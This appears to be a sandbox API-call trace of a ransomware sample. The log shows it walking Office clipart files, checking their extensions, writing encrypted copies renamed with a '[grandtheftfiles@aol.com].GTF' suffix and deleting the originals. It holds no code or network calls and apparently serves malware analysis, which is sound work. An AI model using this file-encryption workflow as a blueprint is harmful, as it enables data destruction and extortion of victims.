	[0081.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.168] lstrlenW (lpString=".dbf") returned 4
	[0081.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.169] lstrlenW (lpString=".1cd") returned 4
	[0081.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.169] lstrlenW (lpString=".jpg") returned 4
	[0081.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.169] lstrlenW (lpString=".doc") returned 4
	[0081.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.169] lstrlenW (lpString=".docx") returned 5
	[0081.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.169] lstrlenW (lpString=".pdf") returned 4
	[0081.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.169] lstrlenW (lpString=".xls") returned 4
	[0081.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.169] lstrlenW (lpString=".xlsx") returned 5
	[0081.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.169] lstrlenW (lpString=".ppt") returned 4
	[0081.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.169] lstrlenW (lpString=".zip") returned 4
	[0081.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.169] lstrlenW (lpString=".rar") returned 4
	[0081.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.169] lstrlenW (lpString=".bz2") returned 4
	[0081.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.169] lstrlenW (lpString=".7z") returned 3
	[0081.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.169] lstrlenW (lpString=".dbf") returned 4
	[0081.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.169] lstrlenW (lpString=".1cd") returned 4
	[0081.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0081.169] lstrlenW (lpString=".jpg") returned 4
	[0081.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.170] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.170] lstrlenW (lpString="AN04174_.WMF") returned 12
	[0081.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.170] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2636) returned 1
	[0081.170] CloseHandle (hObject=0x384) returned 1
	[0081.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220
	[0081.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.170] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.171] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.171] GetLastError () returned 0x0
	[0081.171] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xa4c, lpOverlapped=0x0) returned 1
	[0081.181] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xa50, lpOverlapped=0x0) returned 1
	[0081.182] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.182] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.182] SetEndOfFile (hFile=0x370) returned 1
	[0081.182] CloseHandle (hObject=0x370) returned 1
	[0081.183] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.183] SetEndOfFile (hFile=0x384) returned 1
	[0081.184] CloseHandle (hObject=0x384) returned 1
	[0081.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1
	[0081.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.185] lstrlenW (lpString=".doc") returned 4
	[0081.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.185] lstrlenW (lpString=".docx") returned 5
	[0081.185] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.185] lstrlenW (lpString=".pdf") returned 4
	[0081.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.185] lstrlenW (lpString=".xls") returned 4
	[0081.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.185] lstrlenW (lpString=".xlsx") returned 5
	[0081.185] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.185] lstrlenW (lpString=".ppt") returned 4
	[0081.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.185] lstrlenW (lpString=".zip") returned 4
	[0081.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.185] lstrlenW (lpString=".rar") returned 4
	[0081.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.185] lstrlenW (lpString=".bz2") returned 4
	[0081.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.185] lstrlenW (lpString=".7z") returned 3
	[0081.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.185] lstrlenW (lpString=".dbf") returned 4
	[0081.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.185] lstrlenW (lpString=".1cd") returned 4
	[0081.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.186] lstrlenW (lpString=".jpg") returned 4
	[0081.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.186] lstrlenW (lpString=".doc") returned 4
	[0081.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.186] lstrlenW (lpString=".docx") returned 5
	[0081.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.186] lstrlenW (lpString=".pdf") returned 4
	[0081.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.186] lstrlenW (lpString=".xls") returned 4
	[0081.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.186] lstrlenW (lpString=".xlsx") returned 5
	[0081.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.186] lstrlenW (lpString=".ppt") returned 4
	[0081.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.186] lstrlenW (lpString=".zip") returned 4
	[0081.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.186] lstrlenW (lpString=".rar") returned 4
	[0081.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.186] lstrlenW (lpString=".bz2") returned 4
	[0081.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.186] lstrlenW (lpString=".7z") returned 3
	[0081.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.186] lstrlenW (lpString=".dbf") returned 4
	[0081.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.186] lstrlenW (lpString=".1cd") returned 4
	[0081.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68
	[0081.186] lstrlenW (lpString=".jpg") returned 4
	[0081.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.187] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.187] lstrlenW (lpString="AN04191_.WMF") returned 12
	[0081.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.187] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=6636) returned 1
	[0081.187] CloseHandle (hObject=0x384) returned 1
	[0081.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 0x220
	[0081.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.187] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.187] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.188] GetLastError () returned 0x0
	[0081.188] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x19ec, lpOverlapped=0x0) returned 1
	[0081.190] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x19f0, lpOverlapped=0x0) returned 1
	[0081.191] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.191] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.191] SetEndOfFile (hFile=0x370) returned 1
	[0081.191] CloseHandle (hObject=0x370) returned 1
	[0081.192] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.192] SetEndOfFile (hFile=0x384) returned 1
	[0081.193] CloseHandle (hObject=0x384) returned 1
	[0081.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1
	[0081.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.194] lstrlenW (lpString=".doc") returned 4
	[0081.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.194] lstrlenW (lpString=".docx") returned 5
	[0081.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.194] lstrlenW (lpString=".pdf") returned 4
	[0081.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.194] lstrlenW (lpString=".xls") returned 4
	[0081.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.194] lstrlenW (lpString=".xlsx") returned 5
	[0081.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.194] lstrlenW (lpString=".ppt") returned 4
	[0081.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.194] lstrlenW (lpString=".zip") returned 4
	[0081.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.194] lstrlenW (lpString=".rar") returned 4
	[0081.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.194] lstrlenW (lpString=".bz2") returned 4
	[0081.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.194] lstrlenW (lpString=".7z") returned 3
	[0081.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.194] lstrlenW (lpString=".dbf") returned 4
	[0081.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.194] lstrlenW (lpString=".1cd") returned 4
	[0081.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.195] lstrlenW (lpString=".jpg") returned 4
	[0081.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.195] lstrlenW (lpString=".doc") returned 4
	[0081.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.195] lstrlenW (lpString=".docx") returned 5
	[0081.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.195] lstrlenW (lpString=".pdf") returned 4
	[0081.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.195] lstrlenW (lpString=".xls") returned 4
	[0081.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.195] lstrlenW (lpString=".xlsx") returned 5
	[0081.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.195] lstrlenW (lpString=".ppt") returned 4
	[0081.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.195] lstrlenW (lpString=".zip") returned 4
	[0081.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.195] lstrlenW (lpString=".rar") returned 4
	[0081.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.195] lstrlenW (lpString=".bz2") returned 4
	[0081.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.195] lstrlenW (lpString=".7z") returned 3
	[0081.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.195] lstrlenW (lpString=".dbf") returned 4
	[0081.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.195] lstrlenW (lpString=".1cd") returned 4
	[0081.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68
	[0081.195] lstrlenW (lpString=".jpg") returned 4
	[0081.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.196] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.196] lstrlenW (lpString="AN04195_.WMF") returned 12
	[0081.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.196] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4612) returned 1
	[0081.196] CloseHandle (hObject=0x384) returned 1
	[0081.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220
	[0081.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.196] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.196] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.197] GetLastError () returned 0x0
	[0081.197] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1204, lpOverlapped=0x0) returned 1
	[0081.735] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1210, lpOverlapped=0x0) returned 1
	[0081.736] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.736] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.736] SetEndOfFile (hFile=0x370) returned 1
	[0081.736] CloseHandle (hObject=0x370) returned 1
	[0081.737] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.737] SetEndOfFile (hFile=0x384) returned 1
	[0081.738] CloseHandle (hObject=0x384) returned 1
	[0081.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1
	[0081.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.740] lstrlenW (lpString=".doc") returned 4
	[0081.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.740] lstrlenW (lpString=".docx") returned 5
	[0081.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.740] lstrlenW (lpString=".pdf") returned 4
	[0081.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.740] lstrlenW (lpString=".xls") returned 4
	[0081.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.740] lstrlenW (lpString=".xlsx") returned 5
	[0081.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.740] lstrlenW (lpString=".ppt") returned 4
	[0081.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0081.740] lstrlenW (lpString=".zip") returned 4
	[0081.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.740] lstrlenW (lpString=".rar") returned 4
	[0081.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.740] lstrlenW (lpString=".bz2") returned 4
